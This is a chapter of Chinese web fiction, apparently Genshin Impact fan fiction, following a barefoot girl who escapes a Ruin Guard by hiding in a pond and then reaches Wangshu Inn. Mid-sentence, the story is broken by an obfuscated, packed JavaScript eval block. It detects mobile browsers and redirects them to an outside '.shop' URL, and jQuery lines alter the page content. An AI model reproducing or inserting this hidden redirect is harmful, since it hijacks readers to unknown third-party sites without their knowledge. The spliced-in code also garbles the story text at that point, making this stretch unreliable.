朗樾把破石矛当拐杖,一瘸一拐踏上归离原的软土路。
赤脚踩在枯草和泥土上,比踩礁石舒服多了——但也没舒服到哪儿去。脚底早就烂了,每一步还是疼。只是疼的方式不一样了。之前是“刀割”,现在是“钝锤”。她也不知道哪种更好。
她顺着最宽的那条路往北走,道路弯弯曲曲、起起伏伏,两旁草甸一直铺到天边,时不时能看见几棵孤零零的树,还有矮矮的灌木丛。天蓝得透亮,几朵白云慢悠悠飘着。
景色看着开阔又安静,朗樾却半点不敢松劲。要知道,归离原从来不是什么安全地界——遗迹守卫、丘丘人营地、盗宝团到处都是。
走了约莫半小时,路边出现一小片洼地,底上积着一潭水。水浑得很,飘着枯叶和杂屑,可她喉咙干得快要冒烟,这潭水竟像块磁石,牢牢吸着她挪不动脚。
朗樾顿了顿,还是凑了过去。蹲在潭边,她先伸手指沾了点水,凑到鼻尖闻了闻——只有土腥味,没什么明显的腐臭。又悄悄用舌尖舔了一下,除了泥土的涩味,倒没有别的怪味。
应该能喝。
她俯下身,用手捧起水小口小口咽着。水很凉,混着细沙,刮得喉咙发涩,可总算压下了那股灼烧似的干渴。喝了三四捧,胃里总算不那么空,她又把水囊装满——就算不干净,也是能救命的液体。
刚要起身,一阵奇怪的声响突然飘了过来。
不是风声,也不是虫鸣,是种低沉又规律的嗡鸣,像什么机械在慢慢运转,闷得人耳朵发沉。
声音是从水潭另一边的灌木丛后传来的。
朗樾心里一紧,立刻攥紧手中的半截石矛,脚步轻缓地往后退。可还是晚了——灌木丛被猛地拨开,枝桠断裂的脆响里,一个巨大的身影堵了过来。
那是个足有三米多高的机械造物,躯干粗实,泛着冰冷的金属质感,底下支着两条粗壮的机械长腿,腿部有关节衔接,稳稳扎在泥地里。最扎眼的是它的“头”——其实就是个能三百六十度旋转的球体,球体中央嵌着一颗泛着淡紫色光泽的元素能量核心,此刻正因警戒而微微泛红,死死锁着朗樾,还发出细微的扫描声,嗡得人心里发慌。
遗迹守卫。
朗樾的血几乎瞬间冻住。游戏里这东西就是新手的噩梦,会发射追踪导弹,会转着身子横扫,防御力还高得离谱。可眼前这只,比游戏里看着更庞大、更冰冷,也更真实——金属外壳上布满划痕和锈迹,关节处凝着暗红色的印子,看着像干涸的油污。它动一下,金属部件就发出刺耳的嘎吱声,每一步都能在软土上踩出深深的爪印。
跑!
脑子里只剩这一个念头。朗樾转身就往大路方向狂奔,赤脚踩在土路上,扬起一阵尘土。肺像要炸开似的疼,受伤的膝盖扯着筋疼,可她连回头的勇气都没有——身后的嗡鸣声突然变大,遗迹守卫启动了!它的两条机械长腿向她的方向迈动起来,完全不像看着那么笨重,地面都跟着它的脚步微微震动。
朗樾拼命往前冲,能清晰听到身后的金属摩擦声和脚步声越来越近,仿佛下一秒就要被追上。她冲过一个小土坡,下意识回头瞥了一眼——遗迹守卫已经追到坡下,核心的红光愈发刺眼。紧接着,它肩部两侧的装甲板突然向两侧滑开,露出里面密密麻麻的机械结构,还有三枚亮起来的橙红色圆柱体,正冒着微弱的焰光。
导弹!
朗樾心里警铃炸响,想都没想就往前扑过去。
“咻——咻——咻!”
三枚导弹拖着尾焰从她头顶擦过,狠狠砸在她刚才站的地方!
“轰!轰!轰!”
爆炸的气浪直接把她掀飞出去,摔在几米外的草地上。耳朵里嗡嗡作响,眼前一片模糊,泥土和草屑像雨点似的落在她身上,疼得她龇牙咧嘴。
还没等她爬起身,沉重的脚步声又响了起来。遗迹守卫翻过土坡,能量核心再次锁死她,那对巨大的双臂机械碾磨盘缓缓抬起来,碾磨盘开始高速旋转,发出刺耳的嗡鸣,泛着冰冷的金属寒光。
要死了。
朗樾看着越来越近的机械碾磨盘,心里一片绝望——她跑不过这东西,更打不过。可突然,一个念头从她脑海中飞快闪过。
水潭!刚才那个水潭!
原神游戏里,除了原本就生活在水里的怪物,其他好像对水都有点忌惮?至少击落在水里的话,怪物都会直接死亡。就算现实不至于如此,但只要能困住它们的行动,她就有机会活下来!
赌了!
朗樾用尽最后一丝力气爬起来,不往大路跑了,转身就冲回那个小水潭。遗迹守卫显然没料到她会回头,顿了半秒,很快调整方向追了上来,两条机械长腿踏在地上,脚步声厚重又急促,越来越近。
还有十米、五米……朗樾纵身一跃,“噗通”一声扎进潭里。冰冷浑浊的水瞬间将她淹没,她屏住呼吸,拼命往水潭中心游——这里比她想象的深,中间大概有两米多。她沉到水底,蜷在淤泥和水草里,抬头往水面看。
水面上,遗迹守卫的巨大身影停在潭边,低头“盯着”水面,核心的红光忽明忽暗,像是在扫描。它的机械碾磨盘伸到水面上方,却在快要碰到水的时候停住了,能量核心的光芒急促地闪了几下。
它在犹豫。
朗樾憋得胸口发疼,氧气一点点耗尽。三十秒、四十秒、五十秒……遗迹守卫在潭边转了几圈,两条机械长腿交替踩踏地面,发出不甘的嗡鸣声,最终还是没下水。大概是确认找不到她了,它缓缓转身,迈着沉重的步伐离开,地面的震动声越来越远,直到彻底听不见。
朗樾猛地从水里钻出来,大口大口地喘着气,趴在潭边咳嗽不止。浑身湿透,风一吹冷得发抖,可她心里只有一个念头——她活下来了。
没有死,没有重生,是凭着自己的急智,从遗迹守卫手里逃出来的。
她爬出水潭,瘫坐在岸边,望着遗迹守卫离去的方向,心里又怕又庆幸,还有一丝微弱的、从未有过的信心。
也许在这个危险的世界里,她不只能靠重生续命,也许她真的能学会生存,学会应对这些突如其来的危险。
休息了几分钟,呼吸平复下来后,朗樾才慢慢站起来。湿衣服贴在身上,冷得刺骨。她的半截拐杖也在刚刚的逃命过程中不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307611|198725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知丢在哪个地方了。可她不能停——望舒客栈还在前面,她必须走下去。
强撑着不知又走了多久,当朗樾站在小山坡上,望着远处的景象,腿一软差点跪倒在地。
不是累——虽然她早就精疲力竭,双腿沉得像灌了铅,每走一步都要费尽全力;不是饿——胃里空空如也,饥饿的绞痛像有只手在里面拧来拧去;也不是渴——喉咙干得裂开,嘴唇起皮渗血,连吞咽都疼。
而是因为她终于看到了望舒客栈。
那根本不是“建筑”。
那是一座山,一座被岁月和伟力雕琢过的岩峰,浑然天成,顶天立地。它孤孤单单地立在荻花洲湿地中央,脚下是蜿蜒的水道和无边的芦苇,头顶是灰蒙蒙压得很低的天。光是看着它,就有种让人忍不住想低头的磅礴威压。
可就在这座看着根本无法攀登的岩峰上,竟然附着一整片灯火通明的楼阁。木结构的飞檐斗拱,一层叠一层,顺着岩壁的走势错落排布,像从石头里长出来的一样。长长的悬空栈道看着纤细又脆弱,却毅然从岩峰半腰的楼阁伸出来,跨过吓人的高度,连向另一边稍矮的岩台。栈道上挂着成串的灯笼,暮色渐浓,雾气升起,灯笼的光晕开一团团暖黄,看着格外安心。
岩峰脚下是片平整的平台,也有建筑和人影,灯火星星点点。一道巨大的水车立在侧边,缓缓转动,带动着什么东西上下升降。
再往下,靠近水边的地方,能隐约看到码头。
最让她心头一热的是,她看到了人——活生生的人,很多很多。
岩柱下方的平台上有挑夫在卸货,有商贩在摆摊,有端着茶水的跑堂穿来穿去。码头边停着几艘小船,有人在往客栈里搬东西。远处还能看见一队千岩军沿着小路巡逻,枪尖在夕阳下反着光。
都是最寻常的人间模样,可对朗樾来说,却恍如隔世。
眼眶有点发酸,她用力眨了眨眼,把那股湿意压下去。
从山坡到客栈的水域,还有一小段路,中间是平缓的滩涂和草地,能看到几条被人踩出来的小路,还有不少人类活动的痕迹——路边停着几辆破旧的木板车,车轮陷在泥里;远处有几个简陋的窝棚,棚顶飘着细细的炊烟;离她不远的地方,甚至有一队人正在走过来。
那是五六名士兵,穿着统一的盔甲,排成松散的队列巡逻。盔甲是深褐色掺着金色,头盔上插着红色的缨饰,每个人手里都握着长枪,枪尖在夕阳下闪着冷光。
千岩军。
璃月的军队,游戏里维护治安、打魔物的力量。朗樾的心跳快了些——遇到人类,就意味着可能有安全的地方,可也意味着麻烦。她一个来历不明、衣衫褴褛、赤着脚满身伤的陌生女孩,突然出现在这里,任谁都会起疑心。
她犹豫了几秒,还是选了一条不怎么起眼的小路,想绕开那些窝棚和巡逻队。可这地方太开阔了,想完全躲开视线根本不容易。
就在她穿过一片稀疏的小树林,离客栈水域只剩不到一里地的时候,一个洪亮的声音突然从侧后方传来:
“站住!”
朗樾浑身一僵,慢悠悠地转了过去。